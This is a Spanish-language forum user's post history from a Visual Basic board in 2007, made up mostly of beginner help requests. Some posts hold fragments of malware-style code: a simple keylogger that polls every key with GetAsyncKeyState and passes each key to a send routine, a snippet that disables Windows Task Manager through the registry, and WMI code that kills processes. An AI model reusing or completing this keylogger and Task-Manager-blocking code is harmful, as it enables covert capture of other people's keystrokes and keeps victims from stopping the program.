últimos mensajes de: shadow.darknesses

Mostrar Mensajes
Páginas: [1] 2 3 4 5 6 7

1	Programación / Programación Visual Basic / duda con keyascii	en: 8 Abril 2007, 16:43 pm
bueno yo keria saber si alguien me podria psar un code, que no pude hacerlo, se trata, de que cuando estes es un form1, y aprites 3 teclas como x ejemplo alt+j+o, haga una accion alguien sabe como hacerlo xfavor saludoss

2	Programación / Programación Visual Basic / Re: Quien me podria explicar esto, xfa(listar procesos)	en: 4 Marzo 2007, 19:02 pm
y cual es tu msn, no lo veo en tu perfil ? gracias x tu ayuda

3	Programación / Programación Visual Basic / Re: Con deshabilitar ctrl+alt+suipr	en: 20 Febrero 2007, 23:08 pm
perfecto gracias pero lo unico que no entendi fue esto \"REG_DWORD\"

Programación / Programación Visual Basic / Quien me podria explicar esto, xfa(listar procesos)

en: 27 Enero 2007, 01:38 am

Código:

Dim ListaProcesos As Object
Dim ObjetoWMI As Object
Dim ProcesoACerrar As Object


Private Function MatarProceso(StrNombreProceso As String, Optional DecirSINO As Boolean = True) As Boolean
MatarProceso = False

Set ObjetoWMI = GetObject("winmgmts:")

If IsNull(ObjetoWMI) = False Then

'instanciamos la variable

Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")

For Each ProcesoACerrar In ListaProcesos
If UCase(ProcesoACerrar.Name) = UCase(StrNombreProceso) Then
If DecirSINO Then

If MsgBox("¿Matar el proceso " & _
ProcesoACerrar.Name & vbNewLine & "...¿Está seguro?", vbYesNo + vbCritical) = vbYes Then

ProcesoACerrar.Terminate (0)

MatarProceso = True

End If

Else

'Matamos el proceso con el método Terminate
ProcesoACerrar.Terminate (0)
MatarProceso = True

End If
End If

Next
End If

Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing
End Function

Private Sub Listar()

Set ObjetoWMI = GetObject("winmgmts:")

If IsNull(ObjetoWMI) = False Then


Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")

'Recorremos toda las coleccion en lista de procesos y la añadimos al list
For Each ProcesoACerrar In ListaProcesos
List1.AddItem LCase$(ProcesoACerrar.Name)
Next
End If

'Eliminamos las variables de objeto

Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing

End Sub

Private Sub Command1_Click()
'Llamamos a MatarProceso pasandole el nombre
MatarProceso LCase$(List1), True
'Borramos el list
List1.Clear
'Volvemos a listar los procesos
Listar

End Sub

Private Sub Command2_Click()
'Borramos la lista y volvemos a listar los procesos
List1.Clear
Listar
End Sub

Private Sub Form_Load()
 Listar
End Sub

este code obiamente no ice nada yo
no entiendo nada como se podrias simplicar esa funcion, como lo iso sin api¿
ayuda xfaa

Programación / Programación Visual Basic / error con keyloggers

en: 27 Enero 2007, 01:23 am

miren ise un keyloggers super simple, es asi
modulo

Código:

Declare Function apikey Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

Código:

Private Sub Timer_key_Timer()
If apikey(144) Then Envia "keylock" 'falta 128-143
If apikey(127) Then Envia "keyf16"
If apikey(126) Then Envia "keyf15"
If apikey(125) Then Envia "keyf14"
If apikey(124) Then Envia "keyf13"
If apikey(123) Then Envia "keyf12"
If apikey(122) Then Envia "keyf11"
If apikey(121) Then Envia "keyf10"
If apikey(120) Then Envia "keyf9"
If apikey(119) Then Envia "keyf8"
If apikey(118) Then Envia "keyf7"
If apikey(117) Then Envia "keyf6"
If apikey(116) Then Envia "keyf5"
If apikey(115) Then Envia "keyf4"
If apikey(114) Then Envia "keyf3"
If apikey(113) Then Envia "keyf2"
If apikey(112) Then Envia "keyf1"
If apikey(111) Then Envia "keydivide"
If apikey(110) Then Envia "keydecimal"
If apikey(109) Then Envia "key-"
If apikey(108) Then Envia "keyfseparator" 'noce
If apikey(107) Then Envia "key+"
If apikey(106) Then Envia "key*"
If apikey(105) Then Envia "key9"
If apikey(104) Then Envia "key8"
If apikey(103) Then Envia "key7"
If apikey(102) Then Envia "key6"
If apikey(101) Then Envia "key5"
If apikey(100) Then Envia "key4"
If apikey(99) Then Envia "key3"
If apikey(98) Then Envia "key2"
If apikey(97) Then Envia "key1"
If apikey(96) Then Envia "key0"
If apikey(90) Then Envia "keyz"
If apikey(89) Then Envia "keyy"
If apikey(88) Then Envia "keyx"
If apikey(87) Then Envia "keyw"
If apikey(86) Then Envia "keyv"
If apikey(85) Then Envia "keyu"
If apikey(84) Then Envia "keyt"
If apikey(83) Then Envia "keys"
If apikey(82) Then Envia "keyr"
If apikey(81) Then Envia "keyq"
If apikey(80) Then Envia "keyp"
If apikey(79) Then Envia "keyo"
If apikey(78) Then Envia "keyn"
If apikey(77) Then Envia "keym"
If apikey(76) Then Envia "keyl"
If apikey(75) Then Envia "keyk"
If apikey(74) Then Envia "keyj"
If apikey(73) Then Envia "keyi"
If apikey(72) Then Envia "keyh"
If apikey(71) Then Envia "keyg"
If apikey(70) Then Envia "keyf"
If apikey(69) Then Envia "keye"
If apikey(68) Then Envia "keyd"
If apikey(67) Then Envia "keyc"
If apikey(66) Then Envia "keyb"
If apikey(65) Then Envia "keya" 'falta 58-64
If apikey(57) Then Envia "key9"
If apikey(56) Then Envia "key8"
If apikey(55) Then Envia "key7"
If apikey(54) Then Envia "key6"
If apikey(53) Then Envia "key5"
If apikey(52) Then Envia "key4"
If apikey(51) Then Envia "key3"
If apikey(50) Then Envia "key2"
If apikey(49) Then Envia "key1"
If apikey(48) Then Envia "key0"
If apikey(47) Then Envia "keyhelp" 'noce
If apikey(46) Then Envia "keysupr"
If apikey(45) Then Envia "keyinsert"
If apikey(44) Then Envia "keysnapshot" 'Impr-pant-petsis
If apikey(43) Then Envia "keyexecute" 'noce
If apikey(42) Then Envia "keyprint" 'noce
If apikey(41) Then Envia "keyselect" 'noce
If apikey(40) Then Envia "keydown"
If apikey(39) Then Envia "keyright"
If apikey(38) Then Envia "keyup"
If apikey(37) Then Envia "keyleft"
If apikey(36) Then Envia "keyhome"
If apikey(35) Then Envia "keyend"
If apikey(34) Then Envia "keypagdown"
If apikey(33) Then Envia "keypagup"
If apikey(32) Then Envia "keyspace" 'falta 28-31
If apikey(27) Then Envia "keyesc" 'falta 21-26
If apikey(20) Then Envia "keycapital" 'BLOQMAYUS
If apikey(18) Then Envia "keymenu" 'alt
If apikey(19) Then Envia "keyPause" 'pause-inter
If apikey(17) Then Envia "keyctrl"
If apikey(16) Then Envia "keyshif"
If apikey(13) Then Envia "keyenter"
If apikey(12) Then Envia "keyclear" 'noce
If apikey(9) Then Envia "keytab"
If apikey(8) Then Envia "keyback"
If apikey(4) Then Envia "keymbutton" 'noce
If apikey(3) Then Envia "keycancel" 'noce
If apikey(2) Then Envia "keyclickderecho"
If apikey(1) Then Envia "keyclickizquierdo"
End Sub

ya todo bien pero cuando pulso una tecla y la dejo too el rato apresionada en el text1 aparece como se hubiese sido aprecionada millones de veces, o ejemplo ago un click con el derecho y en el keyloggers sale que ice como 20 veces click con el derecho
miren

cual es el error? xfa

Programación / Programación Visual Basic / Con deshabilitar ctrl+alt+suipr

en: 27 Enero 2007, 01:16 am

miren

Código:

Case "Desactivar_ctrl"
Set x = CreateObject("WScript.Shell")
x.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
Case "Activar_ctrl"
Set x = CreateObject("WScript.Shell")
x.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "0"

ya le di desactivar y luego no cambia a activar xq es?, esta todo bien escrito

7	Programación / Programación Visual Basic / Re: duda con barra de envio de archivvos	en: 27 Enero 2007, 01:12 am
muchas gracias pero no entiendo xD Open "C:\Archivo.txt" for Input As #1 Variable = Input(LOF(1), #1) get #1,, Variable Close #1 xq se pone as ? #? 1?(1)) #1) ?? Input? get #1? no entiendo nada, xfa algun manual de esto

8	Programación / Programación Visual Basic / COmo puedo hacer para ejecutar los archivos	en: 25 Enero 2007, 15:30 pm
como puedo hacer para ejecutar los archivos de esto con este code Código: Option Explicit Private Sub Dir1_Change() File1.Path = Dir1.Path End Sub Private Sub drv_discos_Change() On Error Resume Next Dir1.Path = drv_discos.Drive End Sub yo seleciono un archivo y lo ejecuto del objeto file1 xfavor Saludos... yo le puse esto pero no me funca Código: Private Sub File1_Click() Dir1.Path = Shell(File1) 'me dice archivo no encontrado End Sub

9	Programación / Programación Visual Basic / duda con barra de envio de archivvos	en: 25 Enero 2007, 15:11 pm
como se llama este objeto en vb? xfavor, no es progressbar1 y statusbar1 ayuda xfavor y como puedo meter un archivo en u variable???

10	Programación / Programación Visual Basic / Re: como puedo hacer pestañas	en: 24 Enero 2007, 17:42 pm
EMM, xD kien me ayuda a usarlo como pestaña, pra mientras voi a googlear xD -------------------------- kien me podria ayudar que no entiendo mucho http://www.elguille.info/vb/ejemplos/tabstrip.htm aki no entendi muchoo xfa

Páginas: [1] 2 3 4 5 6 7